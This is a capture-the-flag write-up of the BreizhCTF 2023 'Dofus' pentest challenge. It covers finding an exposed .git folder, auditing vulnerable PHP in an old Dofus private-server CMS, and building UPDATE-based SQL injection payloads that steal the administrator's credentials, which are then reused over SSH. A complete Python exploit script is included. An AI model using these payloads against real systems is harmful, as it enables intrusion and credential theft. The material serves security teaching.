BreizhCTF 2023 - Dofus
Challenge details
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| BreizhCTF 2023 | Dofus | Pentest | ??? | ??? |

The World of Twelve has been infected! Take back control of the server to restore order.
Author: Zeecka
TL;DR
The challenge featured a web server with a /.git/ folder. Extracting and analysing the source code leads to an “update” SQL injection that lets us exfiltrate the administrator’s password. Reusing the “username/password” pair over SSH then lets us retrieve the flag.
Methodology
An initial nmap scan reveals the presence of 3 services.
# Nmap 7.80 scan initiated as: nmap -sS -Pn -p- -oA nmap 10.8.0.1
Nmap scan report for 10.8.0.1 (10.8.0.1)
Host is up (0.0000020s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
# Nmap done -- 1 IP address (1 host up) scanned in 0.35 seconds
We will first focus on the HTTP service.

We are dealing with a “Byxx’CMS v4.0” CMS. Some research on the internet confirms that this is an old CMS dedicated to Dofus 1.29 private servers. It appears to have a reputation for being vulnerable, but the number of public exploits is limited. The sources can be retrieved as open source.
Enumerating the application’s resources lets us get our hands on a .git folder.
$ dirsearch -u http://10.8.0.1/ -x 404,403
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11622
Target: http://10.8.0.1/
[21:39:36] Starting:
[21:39:51] 200 - 92B - /.git/config
[21:39:51] 200 - 73B - /.git/description
[21:39:51] 200 - 23B - /.git/HEAD
[21:39:51] 200 - 22B - /.git/COMMIT_EDITMSG
[21:39:51] 200 - 240B - /.git/info/exclude
[21:39:51] 200 - 55KB - /.git/index
[21:39:51] 200 - 165B - /.git/logs/HEAD
[21:39:51] 200 - 41B - /.git/refs/heads/master
[21:39:52] 200 - 0B - /.gitkeep
[21:39:51] 200 - 165B - /.git/logs/refs/heads/master
[21:39:53] 200 - 29B - /.htaccess/
[21:39:53] 200 - 29B - /.htaccess
...
Task Completed

Directory listing on the /.git/ folder.
Given the directory listing, we will favour a recursive download with wget rather than a tool like git-dumper.
$ wget -r -np -R "index.html*" http://10.8.0.1/.git/
$ cd 10.8.0.1
$ git checkout .
$ ls -la
drwxr-xr-x 10 zeecka zeecka 300 25 févr. 21:49 .
drwxr-xr-x 3 zeecka zeecka 60 25 févr. 21:49 ..
-rw-r--r-- 1 zeecka zeecka 844 25 févr. 21:49 code.php
drwxr-xr-x 2 zeecka zeecka 60 25 févr. 21:49 configuration
-rw-r--r-- 1 zeecka zeecka 137750 25 févr. 21:49 favicon.ico
drwxr-xr-x 8 zeecka zeecka 260 25 févr. 21:49 .git
drwxr-xr-x 3 zeecka zeecka 700 25 févr. 21:49 images
drwxr-xr-x 2 zeecka zeecka 200 25 févr. 21:49 include
-rw-r--r-- 1 zeecka zeecka 2506 25 févr. 21:49 index.php
drwxr-xr-x 4 zeecka zeecka 180 25 févr. 21:49 mod
drwxr-xr-x 2 zeecka zeecka 740 25 févr. 21:49 page
-rw-r--r-- 1 zeecka zeecka 25 25 févr. 21:49 presentation.txt
drwxr-xr-x 2 zeecka zeecka 100 25 févr. 21:49 sql
drwxr-xr-x 4 zeecka zeecka 100 25 févr. 21:49 style
-rw-r--r-- 1 zeecka zeecka 3713 25 févr. 21:49 vote.php
Investigating the source code lets us identify a post-authentication SQL injection on the email modification page (page/changemail.php:66):
if(isset($_POST['email']) and isset($_POST['email2']) and isset($_POST['reponse']))
{
if($_POST['email'] == $_POST['email2'])
{
$email = $_POST['email'];
if($quest2 == $_POST['reponse'])
{
$retour = mysql_query("UPDATE accounts SET email = '".$email."' WHERE account='".$_SESSION['login']."'") or die(mysql_error());
?>
<div id="bgContent">
<div id="textContent">
<p>Votre nouvelle email est : <?php echo '<b>'.$email.'<b><br>'; ?>
</p>
The injected field corresponds to the new email we want to assign to our account. This injection can also be identified in a black-box manner by injecting single quotes:

Since the SQL injection takes place inside an UPDATE, we need to find a way to exfiltrate data. The simplest approach would be to modify a second attribute of our account. Reading the SQL sources gives us more insight into the structure of the accounts table:
-- ----------------------------
-- Table structure for `accounts`
-- ----------------------------
CREATE TABLE `accounts` (
`guid` int(11) NOT NULL AUTO_INCREMENT,
`account` varchar(30) NOT NULL,
`pass` varchar(50) NOT NULL,
`level` int(11) NOT NULL DEFAULT '0',
`vip` int(1) NOT NULL DEFAULT '0',
`email` varchar(100) DEFAULT '',
`lastIP` varchar(15) DEFAULT '',
`lastConnectionDate` varchar(100) NOT NULL,
`question` varchar(100) NOT NULL DEFAULT 'supprimer ?',
`reponse` varchar(100) NOT NULL DEFAULT 'oui',
`pseudo` varchar(30) NOT NULL,
`banned` tinyint(3) NOT NULL DEFAULT '0',
`reload_needed` tinyint(1) NOT NULL DEFAULT '1',
`bankKamas` int(11) NOT NULL DEFAULT '0',
`bank` text DEFAULT '',
`friends` text DEFAULT '',
`enemy` text DEFAULT '',
`points` int(11) NOT NULL DEFAULT '0',
`logged` int(1) NOT NULL DEFAULT '0',
`verif` varchar(50) DEFAULT '',
`vipdate` varchar(255) NOT NULL DEFAULT '0',
`vote` int(4) DEFAULT '0',
`persoprincip` varchar(30) DEFAULT NULL,
`heurevote` bigint(100) DEFAULT '0',
`stable` varchar(255) DEFAULT '',
`pointcadeau` int(11) DEFAULT '300',
`loterie` bigint(100) DEFAULT '0',
PRIMARY KEY (`guid`),
UNIQUE KEY `account` (`account`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
The question field is reflected on the password change page. Its varchar(100) size makes it an ideal candidate.
The email handling (here the value INJECTION) behaves nominally with the following SQL syntax:
UPDATE accounts SET email = 'INJECTION' WHERE account=45;
Note: the id 45 is hypothetical and of little importance
By choosing the value INJECTION', question = 'NOUVEAU as the email, we get a new query:
UPDATE accounts SET email = 'INJECTION', question = 'NOUVEAU' WHERE account=45;
This query allows us to modify the secret question. Using a proxy like Burp may be necessary in order to bypass the type=email constraint tied to the HTML input.

A new question displayed after logging out and back in
By choosing the value INJECTION', question = @@version, vipdate='1 as the email, we get a new query:
UPDATE accounts SET email = 'INJECTION', question = @@version, vipdate='1' WHERE account=45;
Which lets us extract more advanced values, here the MariaDB version:

Given the source code, we will try to extract the administrator’s username and password. This query can be written as:
SELECT CONCAT(account, ' : ', pass) FROM accounts WHERE level > 1 LIMIT 1;
We will therefore place this query as a subquery of our injection:
We now inject INJECTION', question = (SELECT CONCAT(account, ' : ', pass) FROM accounts WHERE level > 1 LIMIT 1), vipdate='1 which gives the following query:
UPDATE accounts SET email = 'INJECTION', question = (SELECT CONCAT(account, ' : ', pass) FROM accounts WHERE level > 1 LIMIT 1), vipdate='1' WHERE account=45;

We are now in possession of the credential pair barbok : r69*H27anxxc. We can log in to the CMS, or try these credentials against the SSH service:
$ ssh barbok@ctf.bzh -p 31380
$ cat flag.txt
BZHCTF{CodeAudioNoNoob}
Here is the script that automates the exfiltration of the credentials:
import requests
import random
import string
HOST = "http://10.8.0.1/"
def get_random_string(l):
return ''.join(random.choice(string.ascii_lowercase) for i in range(l))
def create_user(user):
""" Create an account (user = pass) with given username. """
s = requests.session()
page = f"{HOST}index.php?page=register"
data = {
"name": user,
"pass": user,
"pass2": user,
"pseudo": user,
"mail": user,
"secretquestion" : user,
"secretanswer" : user,
"ok": "S'%27i'nscrire+sur+Omega"
}
r = s.post(page, data=data)
if "<b>Bravo</b>" in r.text:
print(f"[+] Compte \"{user}\" créé.")
def login(user):
s = requests.session()
page = f"{HOST}index.php?page=home"
data = {
"login": user,
"passlog": user,
"hidden": "log",
"logon": "Connexion+au+site"
}
r = s.post(page, data=data)
return s
def query(user, qry):
## Connect with user
s = login(user)
## Changemail SQLi (update), write data into question field
payload = f"INJECTION', question = ({qry}), vipdate = '"
page = f"{HOST}index.php?page=changemail"
data = {
"email": payload,
"email2": payload,
"reponse": user,
"mdp": "Modifier"
}
r = s.post(page, data=data)
if "Votre nouvelle email" in r.text:
print("[+] Injection effectuée")
## Reconnect user to reload question
s = login(user)
page = f"{HOST}index.php?page=changemail"
r = s.get(page).text
question =r.split('Question Secrete :')[1].split('<td style="width:150px">')[1].split('</td>')[0]
return question # Query result
#
if __name__ == "__main__":
user = get_random_string(12)
create_user(user)
username = query(user, "SELECT account FROM accounts WHERE guid=1")
print(f"[+] Got username \"{username}\"")
pwd = query(user, "SELECT pass FROM accounts WHERE guid=1")
print(f"[+] Got password \"{pwd}\"")
print(f"\n--- Connect as {username}:{pwd} and get the flag in /home/{username}")
Flag
BZHCTF{CodeAudioNoNoob}
Author: Zeecka